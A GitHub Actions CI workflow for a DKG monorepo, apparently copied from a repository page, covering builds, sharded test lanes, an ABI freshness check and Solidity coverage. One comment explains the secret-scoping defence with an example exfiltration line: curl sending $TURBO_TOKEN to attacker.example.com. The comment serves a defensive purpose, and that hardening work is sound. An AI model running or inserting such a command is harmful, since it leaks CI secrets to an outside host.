-
Notifications
You must be signed in to change notification settings - Fork 9
693 lines (660 loc) · 31.7 KB
/
ci.yml
File metadata and controls
693 lines (660 loc) · 31.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
name: CI
# Trigger rules — chosen so the same SHA is never tested twice:
# * push to main/v10-rc : always runs (merge-gate safety net, full
# Solidity coverage, required status checks for protected branches).
# * pull_request : runs on every open/synchronize/reopen event.
# * No `push` trigger on feature branches (e.g. `test/**`). When a PR
# is open, the `pull_request` event already covers every new commit;
# when a PR is not open yet, developers can either open a draft PR
# or trigger the workflow manually via `workflow_dispatch`.
on:
push:
branches: [main, v10-rc]
pull_request:
branches: [main, v10-rc]
workflow_dispatch:
concurrency:
# Per-PR / per-branch lock: cancels any earlier in-flight run for the
# same ref as soon as a newer commit arrives.
group: ci-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: true
# Minimum-needed token scope. All jobs only check out and run tests; nothing
# pushes back to the repo, comments on PRs, publishes packages, or creates
# releases — so `contents: read` is the only permission required. Without an
# explicit block, the GITHUB_TOKEN inherits the org/repo default, which on
# most older repos is the legacy "permissive" `contents: write + …` profile.
# That permissive default is what a TeamPCP-style code-execution exploit on
# any step needs to write to the repo or push a release tag. Locking it down
# here is the single highest-leverage defence-in-depth control.
permissions:
contents: read
jobs:
# ------------------------------------------------------------------
# Detect which surface changed so we can gate the heavy Solidity
# coverage+ratchet run to contract-touching PRs. On `push` events (merges
# into v10-rc / main) the safety net always runs regardless of filters.
# ------------------------------------------------------------------
changes:
name: Detect changes
runs-on: ubuntu-latest
timeout-minutes: 2
permissions:
contents: read
# `dorny/paths-filter` on a `pull_request` event reads the PR file
# list via the Pull Requests REST API (`GET /repos/{owner}/{repo}/
# pulls/{number}/files`). Without `pull-requests: read` here, the
# action fails with `Resource not accessible by integration` and
# the whole CI run dies before the test matrix starts. Scoped to
# this job only — every other job in this workflow does not call
# the API and stays read-only on `contents`.
pull-requests: read
outputs:
contracts: ${{ steps.filter.outputs.contracts }}
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: dorny/paths-filter@fbd0ab8f3e69293af611ebaee6363fc25e6d187d # v4.0.1
id: filter
with:
filters: |
contracts:
- 'packages/evm-module/contracts/**'
- 'packages/evm-module/test/**'
- 'packages/evm-module/deploy/**'
- 'packages/evm-module/scripts/**'
- 'packages/evm-module/hardhat.*'
- 'packages/evm-module/package.json'
- '.github/workflows/ci.yml'
# ------------------------------------------------------------------
# One canonical build. Every test job downloads this artifact instead
# of rebuilding from scratch (saves ~3-4 min per job).
#
# IMPORTANT — two optimizations here make the sub-5-min wall-clock
# possible:
#
# 1. `--filter='!@dkg-evm-module'` skips the 1m 54s hardhat compile
# (Solidity→bytecode + typechain). No Node test lane consumes its
# output — see the `Build all Node packages` step below for the
# full analysis.
#
# 2. `build:packages` runs the existing package build graph while skipping
# the Node UI `dist-ui/` bundle. Some packages still use Vite for their
# own package output, but no test in CI reads the Node UI static bundle
# at runtime — API tests never hit the static dashboard routes, the
# daemon gracefully 404s when the dir is absent, and the node-ui vitest
# suite fabricates its own temp staticDir.
#
# The default repo-root `pnpm build` remains the full developer/release
# build and includes the Node UI Vite bundle. CI uses `build:packages`
# here to keep this shared test artifact on the Node-UI-bundle-free path.
#
# Turbo remote cache is opt-in: if TURBO_TOKEN / TURBO_TEAM secrets
# are set the build step will pull previously-cached outputs; with no
# secrets the env vars are empty and turbo transparently no-ops.
# We also cache .turbo/ via actions/cache so even without a remote
# cache repeated builds on the same branch are fast.
# ------------------------------------------------------------------
build:
name: Build packages
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
# Cheap (~300 ms) audit that bans `Wallet.createRandom()` outside a
# small allowlist of intentional call sites. See
# `scripts/audit-create-random.mjs` for the incident this prevents
# from regressing — pre-PR-#366 `ensureProfile` used the anti-pattern
# to destroy nine testnet admin keys at registration time.
- name: Audit Wallet.createRandom usage
run: node scripts/audit-create-random.mjs
# Unit tests for the audit lexer itself (string/template-literal
# awareness, comment stripping, etc.). Catches regressions in the
# bypass-resistance the audit relies on — e.g. the PR #371 fix where
# `//` inside a string literal silently blanked real code after it.
- name: Test audit-create-random lexer
run: node --test scripts/audit-create-random.test.mjs
# RFC 07 §3.2 boundary gate. Bans raw `dialProtocol(` outside the
# network/protocol-router boundary so new protocols can't silently
# bypass the in-process PeerResolver and re-introduce the
# asymmetric-failure class RFC 07 was built to eliminate. See
# `scripts/audit-dial-protocol.mjs` for the full rationale and
# `dkgv10-spec/production_mainnet/07_IN_PROCESS_PEER_RESOLVER.md`
# for the architectural commitment.
- name: Audit dialProtocol boundary (RFC 07 §3.2)
run: node scripts/audit-dial-protocol.mjs
- name: Test audit-dial-protocol lexer
run: node --test scripts/audit-dial-protocol.test.mjs
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Validate npm metadata points to v10
run: pnpm check:npm-metadata
- name: Restore Turbo cache
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
.turbo
packages/*/.turbo
key: turbo-${{ runner.os }}-${{ github.ref }}-${{ github.sha }}
restore-keys: |
turbo-${{ runner.os }}-${{ github.ref }}-
turbo-${{ runner.os }}-refs/heads/v10-rc-
turbo-${{ runner.os }}-
- name: Build all Node packages (evm-module hardhat compile short-circuits)
# `@dkg-evm-module:build` normally runs `hardhat compile` which takes
# ~1m 54s on CI (Solidity→bytecode + typechain bindings). It's the
# single biggest chunk of the shared build, but nothing in CI's Node
# test lanes consumes its output:
# - `packages/chain` imports ABIs from `@dkg-evm-module/abi/*.json`
# which are COMMITTED to the repo, not regenerated here
# - Solidity unit tests (`tornado-solidity`) do their own
# hardhat compile in their own lane, with its own cache
# - Chain integration tests (`evm-integration.yml`) are a
# separate workflow with their own hardhat setup
#
# `DKG_SKIP_EVM_BUILD=1` makes evm-module's `build` script a no-op
# (short-circuits before `hardhat compile`; see package.json). We
# can't just drop it from the turbo task graph via `--filter=!…`
# because `@dkg-chain#build` declares evm-module as a workspace
# dependency and turbo pulls it in transitively. Skipping the
# command keeps the graph valid but moves the build from ~3 min to
# ~1 min.
run: pnpm run build:packages
env:
DKG_SKIP_EVM_BUILD: "1"
# TURBO_TOKEN / TURBO_TEAM are scoped to `push` events ONLY.
# On `pull_request` runs the package `build` scripts are
# PR-controlled: a malicious PR could replace a `build` step
# in any `packages/*/package.json` and exfiltrate the cache
# credentials via `curl https://attacker.example.com -d "$TURBO_TOKEN"`.
# Setting the secret to an empty string on PR runs makes turbo
# transparently no-op its remote cache integration — local
# `.turbo/` caching via `actions/cache` (above) still keeps
# repeated builds on the same branch fast. Push-event runs on
# protected branches keep the remote cache because by then
# the code has already cleared branch-protection review.
TURBO_TOKEN: ${{ github.event_name == 'push' && secrets.TURBO_TOKEN || '' }}
TURBO_TEAM: ${{ github.event_name == 'push' && secrets.TURBO_TEAM || '' }}
- name: Package build outputs
run: |
set -euo pipefail
# Collect every emitted output: tsc dist/, optional Vite dist-ui/,
# and the generated network/ dir the CLI copies during build.
mapfile -t PATHS < <(
find packages -maxdepth 2 -type d \
\( -name dist -o -name dist-ui -o -name network \) \
2>/dev/null | sort -u
)
echo "Packing ${#PATHS[@]} output dirs…"
tar -czf /tmp/build-outputs.tgz "${PATHS[@]}"
ls -lh /tmp/build-outputs.tgz
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with:
name: build-outputs
path: /tmp/build-outputs.tgz
retention-days: 1
if-no-files-found: error
# ------------------------------------------------------------------
# Tornado core lane: core + storage + chain unit tests. These are all
# sub-minute suites so we keep them bundled on one runner.
# ------------------------------------------------------------------
tornado-core:
name: "Tornado: core + storage + chain"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Core (442 tests)"
run: pnpm --filter @origintrail-official/dkg-core test
- name: "Storage (78 tests)"
run: pnpm --filter @origintrail-official/dkg-storage test
- name: "Chain unit (46 tests)"
run: pnpm --filter @origintrail-official/dkg-chain test
# ------------------------------------------------------------------
# Tornado publisher lane — sharded across 4 parallel runners.
# Sharding history:
# 2 shards → ~4 min each (became the wall-clock tail once `agent`
# was bumped from 4→8 shards and the shared build got
# the evm-module skip; 2-shard publisher pushed the
# total past the 5-min target by ~3s)
# 3 shards → previously saw a ~15s regression vs 2: the
# publisher suite had a handful of long files whose
# tail dominated, and paying fixed setup overhead for
# an extra runner didn't help
# 4 shards → current; with 57 test files ÷ 4 = ~14/shard the
# long-pole file isn't isolated to one runner anymore
# ------------------------------------------------------------------
tornado-publisher:
name: "Tornado: publisher [${{ matrix.shard }}/4]"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Publisher tests (shard ${{ matrix.shard }}/4)"
run: pnpm --filter @origintrail-official/dkg-publisher exec vitest run --shard=${{ matrix.shard }}/4
# ------------------------------------------------------------------
# Tornado agent lane — the slowest Node suite, sharded across 10 runners.
# Sharding history:
# 3 shards → 6+ min each (wall-clock tail)
# 4 shards → ~4.5 min each (still the gating tail)
# 8 shards → ~3m-3m 49s each (slowest shard 4m 16s → total 5m 18s)
# 10 shards --shard=N/M (vitest hash) → slowest 4m 22s → total 4m 53s
# 10 shards greedy bin-packed ← current. Three files dominate hook
# wall-clock (e2e-privacy 47s, e2e-publish-protocol 43s,
# e2e-flows 39s body + ~2 min of beforeAll hooks each).
# vitest's default --shard=N/M hashes files to shards and
# can land multiple heavies together (shard 8/10 previously
# got e2e-publish-protocol + e2e-workspace-sync + gossip-
# validation = ~80s body + stacked hooks → 4m 22s ceiling).
#
# Greedy bin-packing using historical per-file weights gives
# each of the top-3 heavies its own shard and distributes
# the remaining ~37 files evenly across the rest. Projected
# ceiling is shard 1 (e2e-privacy alone, ~3m 30s total).
#
# Weights live in `scripts/ci-shard-agent.mjs` in this
# package and are refreshed whenever per-file timings shift
# meaningfully — unknown files default to a light weight and
# fall into the lightest bin automatically.
# ------------------------------------------------------------------
tornado-agent:
name: "Tornado: agent [${{ matrix.shard }}/10]"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Agent tests (shard ${{ matrix.shard }}/10)"
working-directory: packages/agent
run: |
set -euo pipefail
mapfile -t SHARD_FILES < <(node scripts/ci-shard-agent.mjs ${{ matrix.shard }} 10)
echo "::group::Agent shard ${{ matrix.shard }}/10 — ${#SHARD_FILES[@]} files"
printf ' %s\n' "${SHARD_FILES[@]}"
echo "::endgroup::"
pnpm exec vitest run "${SHARD_FILES[@]}"
# ------------------------------------------------------------------
# Bura lane — `cli` is the heaviest BURA package (CLI daemon, HTTP API,
# auth, keystore, migration, indexer) so it owns a runner. The
# remaining BURA package (`query`) runs on its own runner.
#
# Tier: BURA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1. Packages
# on the critical path for users/operators; auth & quorum bugs here
# degrade service but do not threaten protocol consensus.
# ------------------------------------------------------------------
bura-cli:
name: "Bura: cli"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "CLI tests"
run: pnpm --filter @origintrail-official/dkg test
bura-supporting:
name: "Bura: query"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Query tests"
run: pnpm --filter @origintrail-official/dkg-query run test
# ------------------------------------------------------------------
# Kosava lanes — `node-ui` is heavy (React Testing Library, happy-dom)
# so it owns a runner. Adapters + demo app + smaller utility packages
# share one runner; they are fast and independent.
#
# Tier: KOSAVA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1.
# Supporting packages (UI, demos, adapters, EPCIS helpers, MCP bridge);
# bugs here affect UX/demos, not protocol correctness.
# ------------------------------------------------------------------
kosava-node-ui:
name: "Kosava: node-ui"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "node-ui tests"
run: pnpm --filter @origintrail-official/dkg-node-ui test
kosava-supporting:
name: "Kosava: adapters + epcis + graph-viz + mcp-server + network-sim"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Supporting Kosava packages"
run: |
pnpm \
--filter @origintrail-official/dkg-epcis \
--filter @origintrail-official/dkg-mcp \
--filter @origintrail-official/dkg-network-sim \
--filter @origintrail-official/dkg-graph-viz \
--filter @origintrail-official/dkg-adapter-elizaos \
--filter @origintrail-official/dkg-adapter-hermes \
--filter @origintrail-official/dkg-adapter-openclaw \
run test
# ------------------------------------------------------------------
# ABI freshness gate — guards the contract `auto-update.ts` deliberately
# never invokes `hardhat compile` on node hosts (would OOM small VPS,
# cold-solc on ARM64 trips the build timeout). It relies on the
# COMMITTED `packages/evm-module/abi/*.json` being the runtime
# contract surface (consumed by `packages/chain` via require()).
#
# This job catches the only way that contract can break: a contributor
# changes a `.sol` file and forgets to commit the regenerated ABIs.
# Runs only when `changes.outputs.contracts == 'true'` so PRs that
# don't touch contracts pay zero cost. On failure prints an explicit
# remediation command so the fix is one copy-paste away.
# ------------------------------------------------------------------
abi-freshness:
name: "Tornado: ABI freshness (committed abi/ vs hardhat compile)"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 10
if: needs.changes.outputs.contracts == 'true'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache
packages/evm-module/typechain
# Hash both configs because abi/ regen depends on hardhat.config.ts
# (which is what loads hardhat-abi-exporter; see the next step).
key: hardhat-${{ runner.os }}-abi-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.config.ts', 'packages/evm-module/hardhat.node.config.ts') }}
restore-keys: |
hardhat-${{ runner.os }}-abi-
hardhat-${{ runner.os }}-
- name: Compile contracts with the default config (regenerates abi/*.json)
# Subtle: `pnpm --filter dkg-evm-module build` ultimately calls
# `hardhat compile --config hardhat.node.config.ts`, which does NOT
# have `hardhat-abi-exporter` wired in. Only the default
# `hardhat.config.ts` imports the plugin and sets `abiExporter:
# { runOnCompile: true, ... }`. Running `npx hardhat compile`
# without a `--config` flag (so it picks up the default config)
# is what actually regenerates `abi/*.json`. Without this, the
# diff check below would always pass even with stale ABIs.
run: npx hardhat compile
working-directory: packages/evm-module
- name: Verify committed abi/ matches regenerated abi/
# `git diff --exit-code` returns 1 if anything under abi/ changed
# after compile. If so, the contributor forgot to commit the
# regenerated ABIs; the auto-updater would then activate code
# that loads stale ABIs against new contracts. Block the PR.
run: |
set -euo pipefail
if ! git diff --exit-code -- packages/evm-module/abi/; then
echo "::error title=ABI drift::Committed packages/evm-module/abi/*.json does not match the output of \`hardhat compile\` (default config)."
echo ""
echo "The auto-updater no longer runs hardhat compile on node hosts (see comment in packages/cli/src/daemon/auto-update.ts), so committed ABIs ARE the runtime contract surface. Drift here would silently activate stale ABIs against new contracts on every node."
echo ""
echo "To fix: regenerate and commit the ABIs locally:"
echo ""
echo " cd packages/evm-module && npx hardhat compile && cd -"
echo " git add packages/evm-module/abi/"
echo " git commit --amend --no-edit # or a fresh commit, your call"
echo " git push --force-with-lease"
echo ""
exit 1
fi
echo "OK: committed packages/evm-module/abi/ matches hardhat output."
# ------------------------------------------------------------------
# Tornado Solidity lane — `packages/evm-module` is TORNADO-tier
# (`dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1): bugs in the
# contracts mean financial loss or consensus divergence.
# - PR + no contract changes : no-op fast pass (keeps the required
# check green without spinning up Hardhat).
# - PR + contract changes : 4-way sharded hardhat test, no
# coverage (~5-6 min per shard in
# parallel; previously ~20 min single).
# - push (main / v10-rc / …) : full coverage + ratchet safety net,
# single job (coverage reports don't
# compose across shards, so we keep
# the safety-net job unsharded).
# ------------------------------------------------------------------
solidity:
name: "Tornado: Solidity [${{ matrix.shard }}/4]"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 15
# PR lane only — sharded 4 ways. Push lane runs the separate
# solidity-coverage job below (full coverage + ratchet check).
if: github.event_name == 'pull_request'
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- name: Skip — no contract changes on this PR
if: needs.changes.outputs.contracts != 'true'
run: echo "::notice::No contracts/*/test/hardhat changes detected — skipping Solidity shard ${{ matrix.shard }}/4. Full coverage still runs on push to main/v10-rc."
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
if: needs.changes.outputs.contracts == 'true'
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
if: needs.changes.outputs.contracts == 'true'
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
if: needs.changes.outputs.contracts == 'true'
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
if: needs.changes.outputs.contracts == 'true'
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache
packages/evm-module/typechain
key: hardhat-${{ runner.os }}-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.node.config.ts') }}
restore-keys: |
hardhat-${{ runner.os }}-
- name: Compile contracts
if: needs.changes.outputs.contracts == 'true'
run: npx hardhat compile --config hardhat.node.config.ts
working-directory: packages/evm-module
- name: "Hardhat tests (shard ${{ matrix.shard }}/4)"
if: needs.changes.outputs.contracts == 'true'
# Round-robin distribute the 48 .test.ts files across 4
# shards. `sort` gives deterministic ordering so the same file
# always lands in the same shard across runs — makes failure
# reproduction trivial. Hardhat accepts multiple positional
# file paths as `hardhat test FILE1 FILE2 ...`.
run: |
set -euo pipefail
cd packages/evm-module
mapfile -t FILES < <(find test -type f -name '*.test.ts' | sort)
SHARD_FILES=()
SHARD_ID=${{ matrix.shard }}
for i in "${!FILES[@]}"; do
if (( (i % 4) + 1 == SHARD_ID )); then
SHARD_FILES+=("${FILES[$i]}")
fi
done
echo "::group::Shard ${SHARD_ID}/4 — ${#SHARD_FILES[@]} files"
printf ' %s\n' "${SHARD_FILES[@]}"
echo "::endgroup::"
npx hardhat test --network hardhat --config hardhat.node.config.ts "${SHARD_FILES[@]}"
env:
NODE_OPTIONS: --max-old-space-size=8192
# ------------------------------------------------------------------
# Tornado Solidity coverage lane — safety net on push to main/v10-rc
# only. Full Solidity suite + solidity-coverage + coverage ratchet.
# Not sharded because solidity-coverage's instrumentation state
# doesn't compose across parallel runners. Wall-clock on push is
# not on the critical path so ~20-25 min here is acceptable.
# ------------------------------------------------------------------
solidity-coverage:
name: "Tornado: Solidity coverage (push safety net)"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 45
if: github.event_name != 'pull_request'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache
packages/evm-module/typechain
key: hardhat-${{ runner.os }}-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.node.config.ts') }}
restore-keys: |
hardhat-${{ runner.os }}-
- name: Compile contracts
run: npx hardhat compile --config hardhat.node.config.ts
working-directory: packages/evm-module
- name: Hardhat tests + Solidity coverage + ratchet check
run: pnpm test:coverage
working-directory: packages/evm-module
env:
NODE_OPTIONS: --max-old-space-size=8192